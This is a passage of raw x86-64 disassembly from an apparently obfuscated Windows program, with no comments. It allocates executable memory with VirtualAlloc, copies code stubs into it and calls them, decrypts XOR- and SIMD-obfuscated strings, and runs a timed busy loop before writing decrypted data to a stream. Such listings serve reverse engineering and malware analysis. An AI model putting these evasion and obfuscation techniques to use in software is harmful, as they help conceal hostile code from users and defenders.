lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x7c0]
call fcn.14021d330
nop
lea rcx, [rsp + 0x7c0]
call fcn.14020c9c0
mov qword [rsp + 0x4a8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf50], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xf58], r13
mov qword [rsp + 0xf60], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xf50], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140247ac9
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x140247ab8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x140247aa0
jmp 0x140247ac9
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x140247baf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140247af0
mov r8, rsi
jmp 0x140247b8e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140247b00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x4a8]
lea rcx, [fcn.14020b790]
call r8
mov r12d, eax
xor rbx, r13
mov qword [rsp + 0xf50], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
lea rcx, [rsp + 0x7c0]
call fcn.140259200
cmp dword [rsp + 0x70], 0
jne 0x140247bf7
test r12d, r12d
je 0x140247db3
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a8], 0x7d0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf68], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xf70], r13
mov qword [rsp + 0xf78], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0xf68], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x140247c7e
mov rdx, rsi
lea r8, [0x14025b2e0]
cmp rax, r8
je 0x140247c6d
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x140247c55
jmp 0x140247c7e
mov r8, qword [r14 + rdx*8 + 0x2c39f0]
test r8, r8
jne 0x140247d76
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140247ca5
mov r8, rsi
jmp 0x140247d4e
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140247cc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [r14 + rax*8 + 0x2c13f0], rcx
mov qword [r14 + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0x1a8]
mov rcx, rbx
call r8
nop
xor r12, r13
mov qword [rsp + 0xf68], r12
lea rax, [rsp + 0x6308]
mov qword [rax], r12
mov r12d, dword [0x1402bd008]
mov ebx, 6
jmp 0x1402472a5
lea r15, [0x14025b2b0]
mov eax, dword [0x1402a94fc]
mov dword [rsp + 0x9c], eax
movzx eax, word [0x1402a9500]
mov rbx, rdi
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x9c], 0x4f
xor byte [rsp + 0x9d], 0x43
xor byte [rsp + 0x9e], 0x45
xor byte [rsp + 0x9f], 0x47
xor byte [rsp + 0xa0], 0x49
xor byte [rsp + 0xa1], 0x4b
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x4b0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1018], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0x1020], r13
mov qword [rsp + 0x1028], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0x1018], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c1d70]
test rax, rax
je 0x140247e89
mov rdx, rsi
lea r8, [0x14025b2b0]
nop
cmp rax, r8
je 0x140247e78
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x140247e60
jmp 0x140247e89
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x140247f76
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140247eb0
mov r8, rsi
jmp 0x140247f4e
lea rax, [0x14025b2b0]
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140247ec0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
lea rcx, [0x14025b2b0]
mov qword [r14 + rax*8 + 0x2c1d70], rcx
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x4b0]
mov rcx, rbx
call r8
nop
xor r12, r13
mov qword [rsp + 0x1018], r12
lea rax, [rsp + 0x6308]
mov qword [rax], r12
movups xmm0, xmmword [0x1402a9a38]
movups xmmword [rsp + 0x358], xmm0
movsd xmm0, qword [0x1402a9a48]
movsd qword [rsp + 0x368], xmm0
mov eax, dword [0x1402a9a50]
mov dword [rsp + 0x370], eax
movzx eax, word [0x1402a9a54]
mov word [rsp + 0x374], ax
movzx eax, byte [0x1402a9a56]
mov byte [rsp + 0x376], al
mov r9d, esi
mov r12d, dword [0x1402bd008]
cmp r12d, 2
jl 0x140248227
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x35c]
mov edx, dword [rsp + 0xe0]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140248060
cmp r9d, 0x1f
jge 0x140248297
movsxd rax, r9d
lea r10, [rsp + 0x358]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140248240
lea rax, [rsp + 0x358]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1402482a6
call fcn.14027c590
lea rcx, [rsp + 0x358]
mov qword [rsp + 0x5c0], rcx
mov qword [rsp + 0x5c8], rbx
lea r8, [rsp + 0x5c0]
mov edx, eax
lea rcx, [rsp + 0x8a0]
call fcn.140203f10
nop
lea rcx, [rsp + 0x8a0]
call fcn.1402044e0
movzx ebx, al
lea rcx, [rsp + 0x8a0]
call fcn.140258f70
test bl, bl
jne 0x140248ba2
mov edx, 0x18
lea rcx, [rsp + 0x1030]
call fcn.140209da0
movups xmm0, xmmword [0x1402ac298]
movups xmmword [rsp + 0x458], xmm0
movsd xmm0, qword [0x1402ac2a8]
movsd qword [rsp + 0x468], xmm0
mov eax, dword [0x1402ac2b0]
mov dword [rsp + 0x470], eax
movzx eax, word [0x1402ac2b4]
mov word [rsp + 0x474], ax
movzx eax, byte [0x1402ac2b6]
mov byte [rsp + 0x476], al
mov r9d, esi
mov ebx, 6
cmp r12d, 2
jl 0x140248598
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x45c]
mov edx, dword [rsp + 0xe0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1402483d1
cmp r9d, 0x1f
jge 0x140248607
movsxd rax, r9d
lea r10, [rsp + 0x458]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x1402485b0
movsd xmm0, qword [str._717:qb_Q]
movzx eax, byte [0x1402a97e0]
movsd qword [rsp + 0x130], xmm0
mov byte [rsp + 0x130], 0x68
xor byte [rsp + 0x131], 0x43
xor byte [rsp + 0x132], 0x45
xor byte [rsp + 0x133], 0x47
xor byte [rsp + 0x134], 0x49
xor byte [rsp + 0x135], 0x4b
xor byte [rsp + 0x136], 0x4d
xor byte [rsp + 0x137], 0x4f
xor al, 0x51
mov byte [rsp + 0x138], al
lea r8, [0x1402c0460]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb90]
call fcn.14025b440
nop
lea r8, [rsp + 0x458]
mov rdx, rax
lea rcx, [rsp + 0xbb0]
call fcn.14025a710
nop
mov rdx, rax
lea rcx, [rsp + 0xbd0]
call fcn.14021b5f0
nop
mov rdx, rax
lea rcx, [rsp + 0x1030]
call fcn.14020b5c0
nop
lea rcx, [rsp + 0xbd0]
call fcn.140259200
nop
lea rcx, [rsp + 0xbb0]
call fcn.140259200
nop
lea rcx, [rsp + 0xb90]
call fcn.140259200
lea rcx, [rsp + 0x1310]
call fcn.140212aa0
movups xmm0, xmmword [0x1402a9a38]
movups xmmword [rsp + 0x438], xmm0
movsd xmm0, qword [0x1402a9a48]
movsd qword [rsp + 0x448], xmm0
mov eax, dword [0x1402a9a50]
mov dword [rsp + 0x450], eax
movzx eax, word [0x1402a9a54]
mov word [rsp + 0x454], ax
movzx eax, byte [0x1402a9a56]
mov byte [rsp + 0x456], al
mov r9d, esi
cmp r12d, 2
jl 0x140248977
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x43c]
mov edx, dword [rsp + 0xe0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1402487b0
cmp r9d, 0x1f
jge 0x1402489e7
movsxd rax, r9d
lea r10, [rsp + 0x438]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140248990
mov r8d, 0x20
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x1310]
call fcn.1402542b0
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x4ed0]
call fcn.1402562f0
mov dword [rsp + 0xd18], 0xffffff9c
mov dword [rsp + 0xd1c], 0x64
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0x238]
call fcn.140203190
mov rax, qword [rsp + 0x238]
add rax, 0x5f5e100
mov qword [rsp + 0x278], rax
lea rcx, [rsp + 0x4b8]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x278]
call fcn.1402034a0
test al, al
jns 0x140248b54
nop word [rax + rax]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x4ed0]
lea rcx, [rsp + 0xd18]
call fcn.14025a810
mov ebx, eax
test eax, eax
mov eax, 1
cmove ebx, eax
lea rdx, [rsp + 0x4ed0]
lea rcx, [rsp + 0xd18]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x4ed0]
lea rcx, [rsp + 0xd18]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x4ed0]
lea rcx, [rsp + 0xd18]
call fcn.14025a810
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov dword [rsp + 0x70], ecx
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub r12, 1
jne 0x140248a90
lea rcx, [rsp + 0x4b8]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x278]
call fcn.1402034a0
test al, al
js 0x140248a80
mov eax, dword [rsp + 0x70]
mov r8, qword [rsp + 0x1038]
mov rdx, qword [rsp + 0x1030]
sub r8, rdx
lea rcx, [rsp + 0x1310]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1310]
call fcn.140254270
nop
lea rcx, [rsp + 0x1310]
call fcn.140212a30
nop
lea rcx, [rsp + 0x1030]
call fcn.140256140
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xcb0], xmm0
mov qword [rsp + 0xcc0], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x1194], xmm1
movups xmmword [rsp + 0x11a4], xmm1
movups xmmword [rsp + 0x11b4], xmm1
movups xmmword [rsp + 0x11c4], xmm1
movups xmmword [rsp + 0x11d4], xmm1
movups xmmword [rsp + 0x11e4], xmm1
mov dword [rsp + 0x11f4], eax
mov dword [rsp + 0x1190], 0x68
lea rax, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0x10
cmovae rax, qword [rsp + 0xd90]
mov qword [rsp + 0x4c0], rax
movups xmmword [rsp + 0xd58], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xd60], r13
mov qword [rsp + 0xd68], rax
mov r12, qword [rax]
xor r12, r13
mov qword [rsp + 0xd58], r12
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402bfb20]
lea rbx, [0x14025b2b0]
test rax, rax
je 0x140248c90
mov rdx, rsi
cmp rax, rbx
je 0x140248c7f
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2bfb20]
test rax, rax
jne 0x140248c67
jmp 0x140248c90
mov r8, qword [r14 + rdx*8 + 0x2c4050]
test r8, r8
jne 0x140248d71
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140248cb7
mov r8, rsi
jmp 0x140248d50
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140248cc2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
